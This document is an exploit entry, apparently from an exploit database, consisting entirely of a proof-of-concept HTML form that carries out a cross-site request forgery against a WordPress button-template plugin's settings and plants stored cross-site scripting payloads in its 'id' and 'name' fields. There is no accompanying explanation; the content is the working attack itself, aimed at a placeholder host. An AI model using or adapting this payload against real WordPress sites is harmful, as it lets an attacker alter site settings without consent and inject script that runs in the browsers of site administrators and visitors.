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## https://sploitus.com/exploit?id=WPEX-ID:29514D8E-9D1C-4FB6-B378-F6B7374989CA
<html>
  <body>
    <form action="https://example.com/" method="POST">
      <input type="hidden" name="wpbtn_tpl[id]" value="<script>alert(/XSS-id/)</script>" />
      <input type="hidden" name="wpbtn_tpl[name]" value="<script>alert(/XSS-name/)</script>" />
      <input type="hidden" name="wpbtn_tpl[bg_css]" value="background: #6d0019;background: -moz-linear-gradient(top, #6d0019 0%, #a90329 74%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#6d0019), color-stop(74%,#a90329));background: -webkit-linear-gradient(top, #6d0019 0%,#a90329 74%);background: -o-linear-gradient(top, #6d0019 0%,#a90329 74%);background: -ms-linear-gradient(top, #6d0019 0%,#a90329 74%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#6d0019', endColorstr='#a90329',GradientType=0 );background: linear-gradient(top, #6d0019 0%,#a90329 74%);" />
      <input type="hidden" name="wpbtn_tpl[text_color]" value="ffffff" />
      <input type="hidden" name="wpbtn_tpl[font]" value="Michroma" />
      <input type="hidden" name="wpbtn_tpl[font_size]" value="12" />
      <input type="hidden" name="wpbtn_tpl[font_weight]" value="normal" />
      <input type="hidden" name="wpbtn_tpl[border_color]" value="ffffff" />
      <input type="hidden" name="wpbtn_tpl[radius]" value="0" />
      <input type="hidden" name="wpbtn_tpl[width]" value="0" />
      <input type="hidden" name="do" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>